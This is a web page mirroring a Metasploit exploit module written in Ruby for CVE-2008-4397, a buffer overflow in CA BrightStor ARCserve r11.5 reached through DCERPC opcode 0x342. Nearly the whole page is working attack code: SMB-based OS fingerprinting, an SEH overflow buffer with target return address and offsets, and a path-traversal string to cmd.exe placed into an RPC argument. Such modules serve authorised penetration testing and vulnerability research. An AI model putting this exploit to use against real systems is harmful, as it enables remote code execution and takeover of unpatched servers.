Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/ca_arcserve_342.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(update_info(info,14'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).17By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer18and execute arbitrary code. In order to successfully exploit this vulnerability, you will need19set the hostname argument (HNAME).20},21'Author' => [ 'Nahuel Cayento Riva', 'MC' ],22'License' => MSF_LICENSE,23'References' =>24[25[ 'BID', '31684' ],26[ 'OSVDB', '49468' ],27[ 'CVE', '2008-4397' ],28[ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ],29],30'Privileged' => true,31'DefaultOptions' =>32{33'EXITFUNC' => 'thread',34},35'Payload' =>36{37'Space' => 550,38'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",39'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",40},41'Platform' => 'win',42'Targets' =>43[44[ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.045],46'DisclosureDate' => '2008-10-09',47'DefaultTarget' => 0))4849register_options(50[51OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']),52Opt::RPORT(6504)53])54end5556def fingerprint5758datastore['RPORT'] = 44559os = smb_fingerprint()60return os6162end6364def exploit6566path = fingerprint()6768if (path['os'] !~ /Windows/)69print_error("Target not supported!")70return71elsif (path['os'] =~ /Windows 2000/)72dir = "winnt"73offset = 44274else75dir = "windows"76offset = 43677end7879print_status("Identified OS '#{path['os']}', setting appropiate system path...")8081datastore['RPORT'] = 65048283connect()8485handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])86print_status("Binding to #{handle} ...")8788dcerpc_bind(handle)89print_status("Bound to #{handle} ...")9091buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)9293sploit = NDR.string("#{datastore['HNAME'].upcase}")94sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""")95sploit << NDR.string(buffer)96sploit << NDR.string(rand_text_alpha_upper(20))97sploit << NDR.long(2)98sploit << NDR.long(2)99sploit << NDR.string(rand_text_alpha_upper(20))100sploit << NDR.long(0)101sploit << NDR.long(4)102103print_status("Trying target #{target.name}...")104105begin106dcerpc_call(342, sploit)107rescue Rex::Proto::DCERPC::Exceptions::NoResponse108end109110handler111disconnect112end113end114115116